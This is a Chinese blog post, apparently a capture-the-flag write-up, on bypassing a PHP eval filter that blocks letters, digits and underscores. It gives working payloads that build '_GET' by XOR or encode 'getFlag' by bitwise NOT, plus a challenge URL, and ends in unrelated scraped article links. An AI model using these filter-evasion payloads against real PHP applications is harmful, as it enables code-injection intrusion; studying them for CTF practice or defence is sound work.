getshell不用英文数字 或者不用下划线
getshell不用英文字母和数字
上代码

实际代码没有echo strlen($code);我测试的时候加上去的

思路是eval执行getFlag函数。
过滤了字母和数字,长度得小于40
直接看payload吧:
?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag
这里给大家说说我的疑惑:
①$_是什么玩意? _是变量的名字。这句话的意思是定义了个变量,名字叫做_(你想问为什么起个这么别扭的名字那就去搜一下php变量命名规则) ②"`{{{"^"?<>/"实际是代表了双引号里面四个值对应异或,异或后的结果是_GET ③${$_}[_](${$_}[__]),按照$_是_GET拼接就好了。$_GET[_]($_GET(__)) ④不是说过滤了英文字母了吗?为什么后边还有getFlag。&是传递参数是的分割符,code确实是过滤了英文字符,但是&_=getFlag中_是变量,他并没有过滤。 ⑤他是怎么执行的? @eval($_=_GET;$_GET[_]($_GET(__));&_=getFlag); 这个代码可以直接看做 @eval($_GET[_]($_GET(__));&_=getFlag); 进一步变为 @eval(getFlag($_GET(__)););
我现在不明白getFlag()括号里的$_GET(__)有什么用,我直接去掉()里面的也可以成功的得到flag,最起码在这道题目里面并没有要求传递参数。
这个payload太麻烦了,看下一个
${"`{{{"^"?<>/"}['_']();&_=getFlag 感觉这个很妙很简单。
这里贴一下不用下划线的
http://39.105.116.195/flag1/?code=${"`{{{"^"?<>/"}['%2b']();&%2b=getFlag 这里的%2b就是代表着一个形式上的名字,只要不是控制字符就好,你看这里的+我就给他先编码成%2b了,不然会被当作控制字符,其他的还有很多,我觉得只要是进行了url编码的差不多都可以(都会被当做一个普通字符)。
?code=$_=~%98%9A%8B%B9%93%9E%98;$_(); 说下这个,对getFlag取反后url编码,为啥取反,即使你url编码后,浏览器也会进行解析,所以还是绕不过字母限制,你看下这几个url编码,解码后并没有字母,基本都是不可打印字符,所以成功的绕过了字母。用的时候先去反然后url解码就可以成功的得到getFlag(),真狠啊
getshell不用英文数字 或者不用下划线的更多相关文章
- 为什么Java7开始在数字中使用下划线
JDK1.7的发布已经介绍了一些有用的特征,尽管大部分都是一些语法糖,但仍然极大地提高了代码的可读性和质量.其中的一个特征是介绍字面常量数字的下划线.从Java7开始,你就可以在你的Java代码里把长 ...
- java只允许输入数字字母下划线中文
public static void main(String[] args) { Pattern pattern = Pattern.compile("[_0-9a-z]+"); ...
- 安恒杯月赛 babypass getshell不用英文字母和数字
BABYBYPASS 先贴代码: ①限制字符长度35个 ②不能使用英文字母和数字和 _ $ 最后提示有个getFlag()函数,从这个函数入手. 我们的第一思路是直接eval执行getFlag函数,但 ...
- 涨姿势:抛弃字母、数字和下划线写SHELL
PHP中异或 (^) 的概念 <?php echo"A"^"?";?> <?php echo"A"^"?&quo ...
- perl6正则 2: 字母,数字,空格,下划线, 字符集
数字, 字母, 下划线 在perl6中, 如果是 数字, 字母, 下划线, 在正则里可以正接写上. > so / True > so 'perl6_' ~~ /_/ True > 非 ...
- 一个正则表达式,只含有汉字、数字、字母、下划线,下划线位置不限【Z】
1.一个正则表达式,只含有汉字.数字.字母.下划线不能以下划线开头和结尾: ^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$ 其中: ^ 与字符串开始的地方匹配 ( ...
- ASP.NET C# 登陆窗体 限制用户名只输入字母 数字以及下划线
文本框的输入限制,我们主要集中两个问题: 一.怎样限制用户名输入的长度? 答:设置txtName的属性 MaxLength="; (我们这里以10个字符为例) 二.怎样限制用户名只输入字母 ...
- Swift - 使用下划线(_)来分隔数值中的数字
为了增强较大数值的可读性,Swift语言增加了下划线(_)来分隔数值中的数字. 不管是整数,还是浮点数,都可以使用下划线来分隔数字. 1 2 3 4 //数值可读性 let value1 = 10_0 ...
- js正则表达式只能是数字、字母或下划线
//只能是数字.字母或下划线 function isValid(str) { var reg = /^\w+$/g; return reg.test(str); }
随机推荐
- 几幅手稿讲解CNN
学习深度神经网络方面的算法已经有一段时间了,对目前比较经典的模型也有了一些了解.这种曾经一度低迷的方法现在已经吸引了很多领域的目光,在几年前仅仅存在于研究者想象中的应用,近几年也相继被深度学习方法实现 ...
- C# linq根据自定义筛选条件和所对应的数值进行筛选
在软件应用中有时候会出现这样的界面:上面是利用多选框和下拉框组合的筛选条件.下面表格展示筛选后的数据.如下图 上面是筛选条件,表格是根据筛选条件筛选的结果. 如果表格不支持筛选功能.可以利用Linq对 ...
- LeetCode Implement strStr() 实现strstr()
如题 思路:暴力就行了.1ms的暴力!!!别的牛人写出来的,我学而抄之~ int strStr(char* haystack, char* needle) { ; ; ; ++i) { ; ; ++j ...
- 【微软大法好】VS Tools for AI全攻略(3):低配置虚拟机也能玩转深度学习,无需NC/NV系列
接着上文,现在我们需要一种穷人的方法来搭建好Azure虚拟机. 思路很简单,因为AI组件的原理其实是传送了script文件和命令上去,那么我们这个虚拟机只要做好了所有的配置,那么我们就可以将它当作深度 ...
- JIRA Plugin Development——Configurable Custom Field Plugin
关于JIRA Plugin开发的中文资料相当少,这可能还是由于JIRA Plugin开发在国内比较小众的原因吧,下面介绍下自己的一个JIRA Plugin开发的详细过程. 业务需求 创建JIRA IS ...
- Android SDK下载OpenMobile api
在Android SDK Manager的Tools -> Manager Add-on sites... -> User Defined Sites中,添加以下地址: http://se ...
- IOS tableView 去除分割线 和 不允许选中表格cell
//去除分割线 self.tableView.backgroundColor=[UIColor colorWithRed:///255.0 alpha:1.0]; self.tableView.sep ...
- Android(java)学习笔记96:layout_weight使用注意事项
1. android:layout_weight使用说明: layout_weight是权重的意思,也就是各个控件所占的比重,用在LinearLayout布局中.当我们使用layout_weight的 ...
- 前端知识体系之CSS及其预处理器SASS/LESS
如果你是个前端设计师,很多时候我们都在写CSS,CSS是定义页面样式的脚本,并不是一种编程语言,只是一行行单纯的描述页面元素的样子,如果对英语熟练的话,它像说话一样简单,这里举个简单的例子: body ...
- 【洛谷1993】小K的农场(差分约束系统模板题)
点此看题面 大致题意: 给你若干组不等式,请你判断它们是否有解. 差分约束系统 看到若干组不等式,应该很容易想到差分约束系统吧. \(A-B≥C\):转换可得\(A-B≥C\) \(A-B≤C\):转 ...